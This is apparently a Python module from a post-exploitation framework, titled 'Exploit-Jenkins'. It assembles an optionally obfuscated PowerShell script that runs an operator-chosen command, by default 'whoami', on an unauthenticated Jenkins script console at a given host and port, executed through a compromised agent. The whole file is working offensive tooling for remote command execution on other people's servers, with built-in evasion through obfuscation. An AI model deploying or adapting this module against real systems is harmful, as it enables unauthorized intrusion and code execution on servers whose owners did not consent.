import base64 from lib.common import helpers class Module: def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Exploit-Jenkins', 'Author': ['@luxcupitor'], 'Description': ("Run command on unauthenticated Jenkins Script consoles."), 'Background' : True, 'OutputExtension' : None, 'NeedsAdmin' : False, 'OpsecSafe' : False, 'Language' : 'powershell', 'MinLanguageVersion' : '2', 'Comments': [ 'Pass a command to run. If windows, you may have to prepend "cmd /c ".' ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' }, 'Rhost' : { 'Description' : 'Specify the host to exploit.', 'Required' : True, 'Value' : '' }, 'Port' : { 'Description' : 'Specify the port to use.', 'Required' : True, 'Value' : '8080' }, 'Cmd' : { 'Description' : 'command to run on remote jenkins script console.', 'Required' : True, 'Value' : 'whoami' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-Jenkins.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode scriptEnd = "\nExploit-Jenkins" scriptEnd += " -Rhost "+str(self.options['Rhost']['Value']) scriptEnd += " -Port "+str(self.options['Port']['Value']) command = str(self.options['Cmd']['Value']) # if the command contains spaces, wrap it in quotes before passing to ps script if " " in command: scriptEnd += " -Cmd \"" + command + "\"" else: scriptEnd += " -Cmd " + command if obfuscate: scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd return script